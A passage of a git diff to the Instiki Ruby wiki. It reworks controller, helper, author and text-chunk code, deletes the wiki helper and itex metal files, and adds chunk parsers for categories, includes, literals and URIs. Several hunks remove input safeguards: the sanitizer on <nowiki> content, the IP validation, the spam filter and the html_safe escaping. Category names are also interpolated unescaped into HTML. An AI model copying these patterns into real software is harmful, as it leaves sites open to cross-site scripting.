-      Dir["#{files}/**/*"].each do |f|
-        zip_out.add "files#{f.sub(files.to_s,'')}", f
+      # add an index file, if exporting to HTML
+      if file_type.to_s.downcase == 'html'
+        zip_out.put_next_entry 'index.html'
+        zip_out.puts "<html><head>" +
+            "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"0;URL=HomePage.#{file_type}\"></head></html>"
       end
     end
-    FileUtils.rm_rf(Dir[@wiki.storage_path.join(file_prefix + '*.zip').to_s])
+    FileUtils.rm_rf(Dir[File.join(@wiki.storage_path, file_prefix + '*.zip')])
     FileUtils.mv(tmp_path, file_path)
     send_file file_path
   end
 
-#  def export_web_to_tex(file_path)
-#    if @web.markup == :markdownMML
-#      @tex_content = Maruku.new(@page.content).to_latex
-#    else
-#      @tex_content = 'TeX export only supported with the Markdown text filters.'
-#    end
-#    @tex_content = table_of_contents(@web.page('HomePage').content, render_tex_web)
-#    File.open(file_path, 'w') { |f| f.write(render_to_string(:template => 'wiki/tex_web', :layout => tex)) }
-#  end
+  def export_web_to_tex(file_path)
+    @tex_content = table_of_contents(@web.pages['HomePage'].content, render_tex_web)
+    File.open(file_path, 'w') { |f| f.write(render_to_string('wiki/tex_web')) }
+  end
 
   def get_page_and_revision
-    if params['rev']
-      @revision_number = params['rev'].to_i
+    revision_index = (@params['rev'] || 0).to_i
+    if @page.nil? or @page.revisions[revision_index].nil?
+      render_text 'Page not found', '404 Not Found'
     else
-      @revision_number = @page.rev_ids.size
+      @revision = @page.revisions[revision_index]
     end
-    @revision = @page.revisions[@revision_number - 1]
   end
 
   def parse_category
-    @categories = WikiReference.list_categories(@web).sort
-    @category = params['category']
-    if @category
+    @categories = @web.categories
+    @category = @params['category']
+    if @categories.include?(@category)
+      @pages_in_category = @web.select { |page| page.in_category?(@category) }
       @set_name = "category '#{@category}'"
-      pages = WikiReference.pages_in_category(@web, @category).sort.map { |page_name| @web.page(page_name) }
-      @pages_in_category = PageSet.new(@web, pages)
-    else
-      # no category specified, return all pages of the web
-      @pages_in_category = @web.select_all.by_name
+    else 
+      @pages_in_category = PageSet.new(@web).by_name
       @set_name = 'the web'
     end
   end
+
+  def parse_rss_params
+    if @params.include? 'limit'
+      limit = @params['limit'].to_i rescue nil
+      limit = nil if limit == 0
+    else
+      limit = 15
+    end
+    start_date = Time.local(*ParseDate::parsedate(@params['start'])) rescue nil
+    end_date = Time.local(*ParseDate::parsedate(@params['end'])) rescue nil
+    [ limit, start_date, end_date ]
+  end
   
   def remote_ip
-    ip = request.remote_ip
+    ip = @request.remote_ip
     logger.info(ip)
-    ip.dup.gsub!(Regexp.union(Resolv::IPv4::Regex, Resolv::IPv6::Regex), '\0') || 'bogus address'
+    ip
   end
 
-  def render_atom(hide_description = false, limit = 15)
-    @pages_by_revision = @web.select.by_revision.first(limit)
+  def render_rss(hide_description = false, limit = 15, start_date = nil, end_date = nil)
+    if limit && !start_date && !end_date
+      @pages_by_revision = @web.select.by_revision.first(limit)
+    else
+      @pages_by_revision = @web.select.by_revision
+      @pages_by_revision.reject! { |page| page.created_at < start_date } if start_date
+      @pages_by_revision.reject! { |page| page.created_at > end_date } if end_date
+    end
+    
     @hide_description = hide_description
+    @response.headers['Content-Type'] = 'text/xml'
     @link_action = @web.password ? 'published' : 'show'
-    render :action => 'atom'
-  end 
+    
+    render 'wiki/rss_feed'
+  end
 
   def render_tex_web
     @web.select.by_name.inject({}) do |tex_web, page|
-      if  @web.markup == :markdownMML || @web.markup == :markdownPNG
-        tex_web[page.name] = Maruku.new(page.content).to_latex
-      else
-        tex_web[page.name] = 'TeX export only supported with the Markdown text filters.'
-      end
+      tex_web[page.name] = RedClothForTex.new(page.content).to_tex
       tex_web
     end
   end
 
+  def render_to_string(template_name, with_layout = false)
+    add_variables_to_assigns
+    self.assigns['content_for_layout'] = @template.render_file(template_name)
+    if with_layout 
+      @template.render_file('layouts/default')
+    else 
+      self.assigns['content_for_layout']
+    end
+  end
+  
   def rss_with_content_allowed?
-    @web.password.nil? or @web.published?
+    @web.password.nil? or @web.published
   end
-
-  def filter_spam(content)
-    @@spam_patterns ||= load_spam_patterns
-    @@spam_patterns.each do |pattern| 
-      raise Instiki::ValidationError.new("Your edit was blocked by spam filtering") if content =~ pattern
-    end
+  
+  def truncate(text, length = 30, truncate_string = '...')
+    if text.length > length then text[0..(length - 3)] + truncate_string else text end
   end
-
-  def load_spam_patterns
-    spam_patterns_file = Rails.root.join('config', 'spam_patterns.txt')
-    if File.exists?(spam_patterns_file)
-      spam_patterns_file.readlines.inject([]) { |patterns, line| patterns << Regexp.new(line.chomp, Regexp::IGNORECASE) } 
-    else
-      []
-    end
-  end
-
+  
 end
diff --git a/app/helpers/application_helper.rb b/app/helpers/application_helper.rb
index a7ced3c5..134df0bf 100644
--- a/app/helpers/application_helper.rb
+++ b/app/helpers/application_helper.rb
@@ -1,6 +1,5 @@
 # The methods added to this helper will be available to all templates in the application.
 module ApplicationHelper
-require 'instiki_stringsupport'
 
   # Accepts a container (hash, array, enumerable, your type) and returns a string of option tags. Given a container 
   # where the elements respond to first and last (such as a two-element array), the "lasts" serve as option values and
@@ -20,18 +19,18 @@ require 'instiki_stringsupport'
     container = container.to_a if Hash === container
   
     html_options = container.inject([]) do |options, element| 
-      if element.is_a? Array
+      if element.respond_to?(:first) && element.respond_to?(:last)
         if element.last != selected
           options << "<option value=\"#{element.last}\">#{element.first}</option>"
         else
-          options << "<option value=\"#{element.last}\" selected=\"selected\">#{element.first}</option>"
+          options << "<option value=\"#{element.last}\" selected>#{element.first}</option>"
         end
       else
         options << ((element != selected) ? "<option>#{element}</option>" : "<option selected>#{element}</option>")
       end
     end
     
-    html_options.join("\n").html_safe
+    html_options.join("\n")
   end
 
   # Creates a hyperlink to a Wiki page, without checking if the page exists or not
@@ -39,39 +38,13 @@ require 'instiki_stringsupport'
     link_to(
         text || page.plain_name, 
         {:web => @web.address, :action => 'show', :id => page.name, :only_path => true},
-        html_options).html_safe
+        html_options)
   end
   
   # Creates a hyperlink to a Wiki page, or to a "new page" form if the page doesn't exist yet
   def link_to_page(page_name, web = @web, text = nil, options = {})
     raise 'Web not defined' if web.nil?
-    UrlGenerator.new(@controller).make_link(@web, page_name, web, text, 
-        options.merge(:base_url => "#{base_url}/#{web.address}")).html_safe
-  end
-
-  def author_link(page, options = {})
-    UrlGenerator.new(@controller).make_link(@web, page.author.name, page.web, nil, options).purify.html_safe
-  end
-
-  # Create a hyperlink to a particular revision of a Wiki page
-  def link_to_revision(page, revision_number, text = nil, mode = nil, html_options = {})
-    revision_number == page.rev_ids.size ?
-      link_to(
-        text || page.plain_name,
-            {:web => @web.address, :action => 'show', :id => page.name,
-               :mode => mode}, html_options).html_safe :
-      link_to(
-        text || page.plain_name + "(rev # #{revision_number})".html_safe,
-            {:web => @web.address, :action => 'revision', :id => page.name,
-              :rev => revision_number, :mode => mode}, html_options).html_safe
-  end
-
-  # Create a hyperlink to the history of a particular Wiki page
-  def link_to_history(page, text = nil, html_options = {})
-    link_to(
-        text || page.plain_name + "(history)".html_safe,
-            {:web => @web.address, :action => 'history', :id => page.name},
-            html_options).html_safe
+    web.make_link(page_name, text, options.merge(:base_url => "#{base_url}/#{web.address}"))
   end
 
   def base_url
@@ -84,47 +57,19 @@ require 'instiki_stringsupport'
     if @categories.empty?
       ''
     else 
-      ("<div id=\"categories\">\n" +
+      "<div id=\"categories\">\n" +
       '<strong>Categories</strong>:' +
-      '[' + link_to_unless_current('Any', :web => @web.address, :action => self.action_name, :category => nil) + "]\n" +
+      '[' + link_to_unless_current('Any', :web => @web.address, :action => @action_name) + "]\n" +
       @categories.map { |c| 
-        link_to_unless_current(c.html_safe, :web => @web.address, :action => self.action_name, :category => c)
+        link_to_unless_current(c, :web => @web.address, :action => @action_name, :category => c)
       }.join(', ') + "\n" +
-      '</div>').html_safe
+      '</div>'
     end
   end
 
   # Performs HTML escaping on text, but keeps linefeeds intact (by replacing them with <br/>)
   def escape_preserving_linefeeds(text)
-    h(text).gsub(/\n/, '<br/>').as_utf8.html_safe
-  end
-
-  def format_date(date, include_time = true)
-    # Must use DateTime because Time doesn't support %e on at least some platforms
-    if include_time
-      DateTime.new(date.year, date.mon, date.day, date.hour, date.min, date.sec).strftime("%B %e, %Y %H:%M:%S")
-    else
-      DateTime.new(date.year, date.mon, date.day).strftime("%B %e, %Y")
-    end
-  end
-
-  def rendered_content(page)
-    PageRenderer.new(page.current_revision).display_content
-  end
-
-  def truncate(text, *args)
-    options = args.extract_options!
-    options.reverse_merge!(:length => 30, :omission => "...")
-    return text.html_safe if text.num_chars <= options[:length]
-    len = options[:length] - options[:omission].as_utf8.num_chars
-    t = ''
-    text.split.collect do |word|
-      if t.num_chars + word.num_chars <= len
-        t << word + ' '
-      else 
-        return (t.chop + options[:omission]).html_safe
-      end
-    end
+    h(text).gsub(/\n/, '<br/>')
   end
 
 end
diff --git a/app/helpers/wiki_helper.rb b/app/helpers/wiki_helper.rb
deleted file mode 100644
index dbbf03b6..00000000
--- a/app/helpers/wiki_helper.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-module WikiHelper
-
-  def navigation_menu_for_revision
-    menu = []
-    menu << forward
-    menu << back_for_revision if @revision_number > 1
-    menu << current_revision
-    menu << see_or_hide_changes_for_revision if @revision_number > 1
-    menu << history if @page.rev_ids.size > 1
-    menu << rollback
-    menu
-  end
-
-  def navigation_menu_for_page
-    menu = []
-    menu << edit_page
-    menu << edit_web if @page.name == "HomePage"
-    if @page.rev_ids.size > 1
-      menu << back_for_page
-      menu << see_or_hide_changes_for_page
-    end
-    menu << history if @page.rev_ids.size > 1
-    menu
-  end
-
-  def edit_page
-    link_text = (@page.name == "HomePage" ? 'Edit Page' : 'Edit')
-    link_to(link_text, {:web => @web.address, :action => 'edit', :id => @page.name}, 
-        {:class => 'navlink', :accesskey => 'E', :id => 'edit', :rel => 'nofollow'})
-  end
-
-  def edit_web
-    link_to('Edit Web', {:web => @web.address, :action => 'edit_web'}, 
-        {:class => 'navlink', :accesskey => 'W', :id => 'edit_web', :rel => 'nofollow'})
-  end
-
-  def history
-    link_to_history(@page, 'History',
-        {:class => 'navlink', :accesskey => 'S', :id => 'history', :rel => 'nofollow'})
-  end
-            
-  def forward
-    if @revision_number < @page.rev_ids.size - 1
-      link_to('Forward in time', 
-          {:web => @web.address, :action => 'revision', :id => @page.name, :rev => @revision_number + 1},
-          {:class => 'navlink', :accesskey => 'F', :id => 'to_next_revision', :rel => 'nofollow'}) + 
-          " <span class='revisions'>(#{@revision.page.rev_ids.size - @revision_number} more)</span> ".html_safe
-    else
-        link_to('Forward in time', {:web => @web.address, :action => 'show', :id => @page.name},
-            {:class => 'navlink', :accesskey => 'F', :id => 'to_next_revision', :rel => 'nofollow'}) +
-            " <span class='revisions'>(to current)</span>".html_safe
-    end
-  end
-    
-  def back_for_revision
-    link_to('Back in time',
-        {:web => @web.address, :action => 'revision', :id => @page.name, :rev => @revision_number - 1},
-        {:class => 'navlink', :id => 'to_previous_revision', :rel => 'nofollow'}) + 
-        " <span class='revisions'>(#{@revision_number - 1} more)</span>".html_safe
-  end
-
-  def back_for_page
-    link_to('Back in time', 
-        {:web => @web.address, :action => 'revision', :id => @page.name, 
-        :rev => @page.rev_ids.size - 1},
-        {:class => 'navlink', :accesskey => 'B', :id => 'to_previous_revision', :rel => 'nofollow'}) +
-        " <span class='revisions'>(#{@page.rev_ids.size - 1} #{@page.rev_ids.size - 1 == 1 ? 'revision' : 'revisions'})</span>".html_safe
-  end
-  
-  def current_revision
-    link_to('See current', {:web => @web.address, :action => 'show', :id => @page.name},
-        {:class => 'navlink', :id => 'to_current_revision'})
-  end
-  
-  def see_or_hide_changes_for_revision
-    link_to(@show_diff ? 'Hide changes' : 'See changes', 
-        {:web => @web.address, :action => 'revision', :id => @page.name, :rev => @revision_number, 
-         :mode => (@show_diff ? nil : 'diff') },
-        {:class => 'navlink', :accesskey => 'C', :id => 'see_changes', :rel => 'nofollow'})
-  end
-
-  def see_or_hide_changes_for_page
-    link_to(@show_diff ? 'Hide changes' : 'See changes', 
-        {:web => @web.address, :action => 'show', :id => @page.name, :mode => (@show_diff ? nil : 'diff') },
-        {:class => 'navlink', :accesskey => 'C', :id => 'see_changes', :rel => 'nofollow'})
-  end
-  
-  def rollback
-    link_to('Rollback', 
-        {:web => @web.address, :action => 'rollback', :id => @page.name, :rev => @revision_number},
-        {:class => 'navlink', :id => 'rollback', :rel => 'nofollow'})
-  end
-
-end
diff --git a/app/metal/itex.rb b/app/metal/itex.rb
deleted file mode 100644
index 867ab590..00000000
--- a/app/metal/itex.rb
+++ /dev/null
@@ -1,75 +0,0 @@
- # Allow the metal piece to run in isolation
-require(File.dirname(__FILE__) + "/../../config/environment") unless defined?(Rails)
-
-require 'instiki_stringsupport'
-
-class Itex
-  def self.call(env)
-    if env["PATH_INFO"] =~ /^\/itex/
-      [200, {"Content-Type" => "application/xml"}, [response(env)]]
-    else
-      [404, {"Content-Type" => "text/html"}, ["Not Found"]]
-    end
-  end
-  
-  private
-
-  # plugable XML parser; falls back to REXML
-  begin
-    require 'nokogiri'
-    def self.xmlparse(text)
-      Nokogiri::XML(text) { |config| config.strict }
-    end
-  rescue LoadError
-    require 'rexml/document'
-    def self.xmlparse(text)
-      REXML::Document.new(text)
-    end
-  end
-
-  #error message to return
-  def self.error(str)
-    "<math xmlns='http://www.w3.org/1998/Math/MathML' display='inline'><merror><mtext>" +
-       str + "</mtext></merror></math>"
-  end
-
-  # itex2MML parser
-  begin
-    require 'itextomml'
-    def self.parse_itex(tex, filter)
-      Itex2MML::Parser.new.send(filter, tex).to_utf8
-    end
-  rescue LoadError
-    def self.parse_itex(tex, filter)
-      error("Please install the itex2MML Ruby bindings.")
-    end  
-  end
-
-  # the actual response
-  def self.response(env)
-    params = Rack::Request.new(env).params
-    tex = (params['tex'] || '').purify.strip
-    case params['display']
-      when 'block'
-        filter = :block_filter
-      else
-         filter = :inline_filter
-    end
-    return "<math xmlns='http://www.w3.org/1998/Math/MathML' display='" +
-        filter.to_s[/(.*?)_filter/] + "'/>" if tex == ''
-    begin
-      doc = parse_itex(tex, filter)
-      # make sure the result is well-formed, before sending it off
-      begin
-        xmlparse(doc)
-      rescue
-        return error("Ill-formed XML.")
-      end
-      return doc
-    rescue Itex2MML::Error => e
-      error(e.to_s)
-    rescue
-      error("Unknown Error")
-    end
-  end
-end
diff --git a/app/models/author.rb b/app/models/author.rb
index a257a01f..258cc2b8 100644
--- a/app/models/author.rb
+++ b/app/models/author.rb
@@ -1,18 +1,4 @@
 class Author < String
   attr_accessor :ip
-  attr_reader :name
-  def initialize(name, ip = nil) 
-    @ip = ip
-    super(name.as_utf8)
-  end
-
-  def name=(value)
-    self.gsub!(/.+/, value)
-  end
-  
-  alias_method :name, :to_s
-  
-  def <=>(other)
-    name <=> other.to_s
-  end
+  def initialize(name, ip) @ip = ip; super(name) end
 end
\ No newline at end of file
diff --git a/app/models/chunks/category.rb b/app/models/chunks/category.rb
new file mode 100644
index 00000000..d08d8636
--- /dev/null
+++ b/app/models/chunks/category.rb
@@ -0,0 +1,33 @@
+require 'chunks/chunk'
+
+# The category chunk looks for "category: news" on a line by
+# itself and parses the terms after the ':' as categories.
+# Other classes can search for Category chunks within
+# rendered content to find out what categories this page
+# should be in.
+#
+# Category lines can be hidden using ':category: news', for example
+class Category < Chunk::Abstract
+  CATEGORY_PATTERN = /^(:)?category\s*:(.*)$/i
+  def self.pattern() CATEGORY_PATTERN  end
+
+  attr_reader :hidden, :list
+
+def initialize(match_data, content)
+    super(match_data, content)
+    @hidden = match_data[1]
+    @list = match_data[2].split(',').map { |c| c.strip }
+    @unmask_text = ''
+    if @hidden
+      @unmask_text = ''
+    else
+      category_urls = @list.map { |category| url(category) }.join(', ')
+      @unmask_text = '<div class="property"> category: ' + category_urls + '</div>'
+    end
+  end
+
+  # TODO move presentation of page metadata to controller/view
+  def url(category)
+    %{<a class="category_link" href="../list/?category=#{category}">#{category}</a>}
+  end
+end
diff --git a/app/models/chunks/chunk.rb b/app/models/chunks/chunk.rb
new file mode 100644
index 00000000..9ba3cc04
--- /dev/null
+++ b/app/models/chunks/chunk.rb
@@ -0,0 +1,86 @@
+require 'uri/common'
+
+# A chunk is a pattern of text that can be protected
+# and interrogated by a renderer. Each Chunk class has a 
+# +pattern+ that states what sort of text it matches.
+# Chunks are initalized by passing in the result of a
+# match by its pattern. 
+
+module Chunk
+  class Abstract
+
+    # automatically construct the array of derivatives of Chunk::Abstract
+    @derivatives = [] 
+
+    class << self 
+      attr_reader :derivatives 
+    end 
+    
+    def self::inherited( klass ) 
+      Abstract::derivatives << klass 
+    end 
+    
+    # the class name part of the mask strings
+    def self.mask_string
+      self.to_s.delete(':').downcase
+    end
+
+    # a regexp that matches all chunk_types masks
+    def Abstract::mask_re(chunk_types)
+      tmp = chunk_types.map{|klass| klass.mask_string}.join("|")
+      Regexp.new("chunk([0-9a-f]+n\\d+)(#{tmp})chunk")
+    end
+    
+    attr_reader :text, :unmask_text, :unmask_mode
+
+    def initialize(match_data, content) 
+      @text = match_data[0] 
+      @content = content
+      @unmask_mode = :normal
+    end
+
+    # Find all the chunks of the given type in content
+    # Each time the pattern is matched, create a new
+    # chunk for it, and replace the occurance of the chunk
+    # in this content with its mask.
+	def self.apply_to(content)
+	  content.gsub!( self.pattern ) do |match|	
+        new_chunk = self.new($~, content)
+        content.add_chunk(new_chunk)
+        new_chunk.mask
+      end
+    end
+
+    # should contain only [a-z0-9]
+    def mask
+      @mask ||="chunk#{@id}#{self.class.mask_string}chunk"
+    end
+
+    # We should not use object_id because object_id is not guarantied 
+    # to be unique when we restart the wiki (new object ids can equal old ones
+    # that were restored from madeleine storage)  
+    def id
+      @id ||= "#{@content.page_id}n#{@content.chunk_id}"
+    end
+
+    def unmask
+      @content.sub!(mask, @unmask_text)
+    end
+
+    def rendered?
+      @unmask_mode == :normal
+    end
+
+    def escaped?
+      @unmask_mode == :escape
+    end
+
+    def revert
+      @content.sub!(mask, @text)
+      # unregister
+      @content.delete_chunk(self)
+    end
+
+  end
+
+end
diff --git a/app/models/chunks/engines.rb b/app/models/chunks/engines.rb
new file mode 100644
index 00000000..87ccd73a
--- /dev/null
+++ b/app/models/chunks/engines.rb
@@ -0,0 +1,61 @@
+$: << File.dirname(__FILE__) + "../../lib"
+
+require 'redcloth'
+require 'bluecloth_tweaked'
+require 'rdocsupport'
+require 'chunks/chunk'
+
+# The markup engines are Chunks that call the one of RedCloth
+# or RDoc to convert text. This markup occurs when the chunk is required
+# to mask itself.
+module Engines
+  class AbstractEngine
+
+    # Convert content to HTML
+    def self.apply_to(content)
+      engine = self.new(content)
+      content.replace(engine.to_html)
+    end
+
+    private 
+
+    # Never create engines by constructor - use apply_to instead
+    def initialize(content) 
+      @content = content
+    end
+
+  end
+
+  class Textile < AbstractEngine
+    def to_html
+      redcloth = RedCloth.new(@content, [:hard_breaks] + @content.options[:engine_opts])
+      redcloth.filter_html = false
+      redcloth.no_span_caps = false  
+      redcloth.to_html(:textile)
+    end
+  end
+
+  class Markdown < AbstractEngine
+    def to_html
+      BlueCloth.new(@content, @content.options[:engine_opts]).to_html
+    end
+  end
+
+  class Mixed < AbstractEngine
+    def to_html
+      redcloth = RedCloth.new(@content, @content.options[:engine_opts])
+      redcloth.filter_html = false
+      redcloth.no_span_caps = false
+      redcloth.to_html
+    end
+  end
+
+  class RDoc < AbstractEngine
+    def to_html
+      RDocSupport::RDocFormatter.new(@content).to_html
+    end
+  end
+
+  MAP = { :textile => Textile, :markdown => Markdown, :mixed => Mixed, :rdoc => RDoc }
+  MAP.default = Textile
+end
diff --git a/app/models/chunks/include.rb b/app/models/chunks/include.rb
new file mode 100644
index 00000000..d4b668a2
--- /dev/null
+++ b/app/models/chunks/include.rb
@@ -0,0 +1,41 @@
+require 'chunks/wiki'
+
+# Includes the contents of another page for rendering.
+# The include command looks like this: "[[!include PageName]]".
+# It is a WikiReference since it refers to another page (PageName)
+# and the wiki content using this command must be notified
+# of changes to that page.
+# If the included page could not be found, a warning is displayed.
+
+class Include < WikiChunk::WikiReference
+
+  INCLUDE_PATTERN = /\[\[!include\s+(.*?)\]\]\s*/i
+  def self.pattern() INCLUDE_PATTERN end
+
+
+  def initialize(match_data, content)
+    super
+    @page_name = match_data[1].strip
+    @unmask_text = get_unmask_text_avoiding_recursion_loops
+  end
+
+  private
+  
+  def get_unmask_text_avoiding_recursion_loops
+    if refpage then
+      refpage.clear_display_cache
+      if refpage.name == @content.page_name or refpage.wiki_includes.include?(@content.page_name)
+        # this will break the recursion
+        @content.delete_chunk(self)
+        return "<em>Recursive include detected; #{@page_name} --> #{@content.page_name} " + 
+               "--> #{@page_name}</em>\n"
+      else
+        @content.merge_chunks(refpage.display_content)
+        return refpage.display_content.pre_rendered 
+      end
+    else
+      return "<em>Could not include #{@page_name}</em>\n"
+    end
+  end
+
+end
diff --git a/app/models/chunks/literal.rb b/app/models/chunks/literal.rb
new file mode 100644
index 00000000..09da4005
--- /dev/null
+++ b/app/models/chunks/literal.rb
@@ -0,0 +1,31 @@
+require 'chunks/chunk'
+
+# These are basic chunks that have a pattern and can be protected.
+# They are used by rendering process to prevent wiki rendering
+# occuring within literal areas such as <code> and <pre> blocks
+# and within HTML tags.
+module Literal
+
+  class AbstractLiteral < Chunk::Abstract
+
+    def initialize(match_data, content)
+      super
+      @unmask_text = @text
+    end
+
+  end
+
+  # A literal chunk that protects 'code' and 'pre' tags from wiki rendering.
+  class Pre < AbstractLiteral
+    PRE_BLOCKS = "a|pre|code"
+    PRE_PATTERN = Regexp.new('<('+PRE_BLOCKS+')\b[^>]*?>.*?</\1>', Regexp::MULTILINE)
+    def self.pattern() PRE_PATTERN end
+  end 
+
+  # A literal chunk that protects HTML tags from wiki rendering.
+  class Tags < AbstractLiteral
+    TAGS = "a|img|em|strong|div|span|table|td|th|ul|ol|li|dl|dt|dd"
+    TAGS_PATTERN = Regexp.new('<(?:'+TAGS+')[^>]*?>', Regexp::MULTILINE) 
+    def self.pattern() TAGS_PATTERN  end
+  end
+end
diff --git a/lib/chunks/nowiki.rb b/app/models/chunks/nowiki.rb
similarity index 87%
rename from lib/chunks/nowiki.rb
rename to app/models/chunks/nowiki.rb
index ad217ccf..ef99ec0b 100644
--- a/lib/chunks/nowiki.rb
+++ b/app/models/chunks/nowiki.rb
@@ -1,5 +1,4 @@
 require 'chunks/chunk'
-require 'sanitizer'
 
 # This chunks allows certain parts of a wiki page to be hidden from the
 # rest of the rendering pipeline. It should be run at the beginning
@@ -14,11 +13,8 @@ require 'sanitizer'
 #
 # Author: Mark Reid <mark at threewordslong dot com>
 # Created: 8th June 2004
-
 class NoWiki < Chunk::Abstract
 
-  include Sanitizer
-  
   NOWIKI_PATTERN = Regexp.new('<nowiki>(.*?)</nowiki>', Regexp::MULTILINE)
   def self.pattern() NOWIKI_PATTERN end
 
@@ -26,7 +22,7 @@ class NoWiki < Chunk::Abstract
 
   def initialize(match_data, content)
     super
-    @plain_text = @unmask_text = safe_xhtml_sanitize(match_data[1])
+    @plain_text = @unmask_text = match_data[1]
   end
 
 end
diff --git a/app/models/chunks/test.rb b/app/models/chunks/test.rb
new file mode 100644
index 00000000..edf77d14
--- /dev/null
+++ b/app/models/chunks/test.rb
@@ -0,0 +1,18 @@
+require 'test/unit'
+
+class ChunkTest < Test::Unit::TestCase
+
+  # Asserts a number of tests for the given type and text.
+  def match(type, test_text, expected)
+	pattern = type.pattern
+    assert_match(pattern, test_text)
+    pattern =~ test_text   # Previous assertion guarantees match
+    chunk = type.new($~)
+    
+    # Test if requested parts are correct.
+    for method_sym, value in expected do
+      assert_respond_to(chunk, method_sym)
+      assert_equal(value, chunk.method(method_sym).call, "Checking value of '#{method_sym}'")
+    end
+  end
+end
diff --git a/app/models/chunks/uri.rb b/app/models/chunks/uri.rb
new file mode 100644
index 00000000..1a208535
--- /dev/null
+++ b/app/models/chunks/uri.rb
@@ -0,0 +1,182 @@
+require 'chunks/chunk'
+
+# This wiki chunk matches arbitrary URIs, using patterns from the Ruby URI modules.
+# It parses out a variety of fields that could be used by renderers to format
+# the links in various ways (shortening domain names, hiding email addresses)
+# It matches email addresses and host.com.au domains without schemes (http://)
+# but adds these on as required.
+#
+# The heuristic used to match a URI is designed to err on the side of caution.
+# That is, it is more likely to not autolink a URI than it is to accidently
+# autolink something that is not a URI. The reason behind this is it is easier
+# to force a URI link by prefixing 'http://' to it than it is to escape and
+# incorrectly marked up non-URI.
+#
+# I'm using a part of the [ISO 3166-1 Standard][iso3166] for country name suffixes.
+# The generic names are from www.bnoack.com/data/countrycode2.html)
+#   [iso3166]: http://geotags.com/iso3166/
+
+class URIChunk < Chunk::Abstract
+  include URI::REGEXP::PATTERN
+
+  # this condition is to get rid of pesky warnings in tests
+  unless defined? URIChunk::INTERNET_URI_REGEXP
+
+    GENERIC = 'aero|biz|com|coop|edu|gov|info|int|mil|museum|name|net|org'
+    
+    COUNTRY = 'ad|ae|af|ag|ai|al|am|an|ao|aq|ar|as|at|au|aw|az|ba|bb|bd|be|' + 
+      'bf|bg|bh|bi|bj|bm|bn|bo|br|bs|bt|bv|bw|by|bz|ca|cc|cf|cd|cg|ch|ci|ck|cl|' + 
+      'cm|cn|co|cr|cs|cu|cv|cx|cy|cz|de|dj|dk|dm|do|dz|ec|ee|eg|eh|er|es|et|fi|' + 
+      'fj|fk|fm|fo|fr|fx|ga|gb|gd|ge|gf|gh|gi|gl|gm|gn|gp|gq|gr|gs|gt|gu|gw|gy|' + 
+      'hk|hm|hn|hr|ht|hu|id|ie|il|in|io|iq|ir|is|it|jm|jo|jp|ke|kg|kh|ki|km|kn|' + 
+      'kp|kr|kw|ky|kz|la|lb|lc|li|lk|lr|ls|lt|lu|lv|ly|ma|mc|md|mg|mh|mk|ml|mm|' + 
+      'mn|mo|mp|mq|mr|ms|mt|mu|mv|mw|mx|my|mz|na|nc|ne|nf|ng|ni|nl|no|np|nr|nt|' + 
+      'nu|nz|om|pa|pe|pf|pg|ph|pk|pl|pm|pn|pr|pt|pw|py|qa|re|ro|ru|rw|sa|sb|sc|' + 
+      'sd|se|sg|sh|si|sj|sk|sl|sm|sn|so|sr|st|su|sv|sy|sz|tc|td|tf|tg|th|tj|tk|' + 
+      'tm|tn|to|tp|tr|tt|tv|tw|tz|ua|ug|uk|um|us|uy|uz|va|vc|ve|vg|vi|vn|vu|wf|' + 
+      'ws|ye|yt|yu|za|zm|zr|zw'
+    # These are needed otherwise HOST will match almost anything
+    TLDS = "(?:#{GENERIC}|#{COUNTRY})"
+    
+    # Redefine USERINFO so that it must have non-zero length
+    USERINFO = "(?:[#{UNRESERVED};:&=+$,]|#{ESCAPED})+"
+  
+    # unreserved_no_ending = alphanum | mark, but URI_ENDING [)!] excluded
+    UNRESERVED_NO_ENDING = "-_.~*'(#{ALNUM}"  
+
+    # this ensures that query or fragment do not end with URI_ENDING
+    # and enable us to use a much simpler self.pattern Regexp
+
+    # uric_no_ending = reserved | unreserved_no_ending | escaped
+    URIC_NO_ENDING = "(?:[#{UNRESERVED_NO_ENDING}#{RESERVED}]|#{ESCAPED})"
+    # query = *uric
+    QUERY = "#{URIC_NO_ENDING}*"
+    # fragment = *uric
+    FRAGMENT = "#{URIC_NO_ENDING}*"
+
+    # DOMLABEL is defined in the ruby uri library, TLDS is defined above
+    INTERNET_HOSTNAME = "(?:#{DOMLABEL}\\.)+#{TLDS}" 
+
+    # Correct a typo bug in ruby 1.8.x lib/uri/common.rb 
+    PORT = '\\d*'
+
+    INTERNET_URI =
+        "(?:(#{SCHEME}):/{0,2})?" +   # Optional scheme:        (\1)
+        "(?:(#{USERINFO})@)?" +       # Optional userinfo@      (\2)
+        "(#{INTERNET_HOSTNAME})" +    # Mandatory hostname      (\3)
+        "(?::(#{PORT}))?" +           # Optional :port          (\4)
+        "(#{ABS_PATH})?"  +           # Optional absolute path  (\5)
+        "(?:\\?(#{QUERY}))?" +        # Optional ?query         (\6)
+        "(?:\\#(#{FRAGMENT}))?"  +    # Optional #fragment      (\7)
+        '(?=\.?(?:\s|\)|\z))'         # ends only with optional dot + space or ")" 
+                                      # or end of the string
+
+    SUSPICIOUS_PRECEDING_CHARACTER = '(!|\"\:|\"|\\\'|\]\()?'  # any of !, ":, ", ', ](
+  
+    INTERNET_URI_REGEXP = 
+        Regexp.new(SUSPICIOUS_PRECEDING_CHARACTER + INTERNET_URI, Regexp::EXTENDED, 'N')
+
+  end
+
+  def URIChunk.pattern
+    INTERNET_URI_REGEXP
+  end
+
+  attr_reader :user, :host, :port, :path, :query, :fragment, :link_text
+  
+  def self.apply_to(content)
+    content.gsub!( self.pattern ) do |matched_text|
+      chunk = self.new($~, content)
+      if chunk.avoid_autolinking?
+        # do not substitute nor register the chunk
+        matched_text
+      else
+        content.add_chunk(chunk)
+        chunk.mask
+      end
+    end
+  end
+
+  def initialize(match_data, content)
+    super
+    @link_text = match_data[0]
+    @suspicious_preceding_character = match_data[1]
+    @original_scheme, @user, @host, @port, @path, @query, @fragment = match_data[2..-1]
+    treat_trailing_character
+    @unmask_text = "<a href=\"#{uri}\">#{link_text}</a>"
+  end
+
+  def avoid_autolinking?
+    not @suspicious_preceding_character.nil?
+  end
+
+  def treat_trailing_character
+    # If the last character matched by URI pattern is in ! or ), this may be part of the markup,
+    # not a URL. We should handle it as such. It is possible to do it by a regexp, but 
+    # much easier to do programmatically
+    last_char = @link_text[-1..-1]
+    if last_char == ')' or last_char == '!'
+      @trailing_punctuation = last_char
+      @link_text.chop!
+      [@original_scheme, @user, @host, @port, @path, @query, @fragment].compact.last.chop!
+    else 
+      @trailing_punctuation = nil
+    end
+  end
+
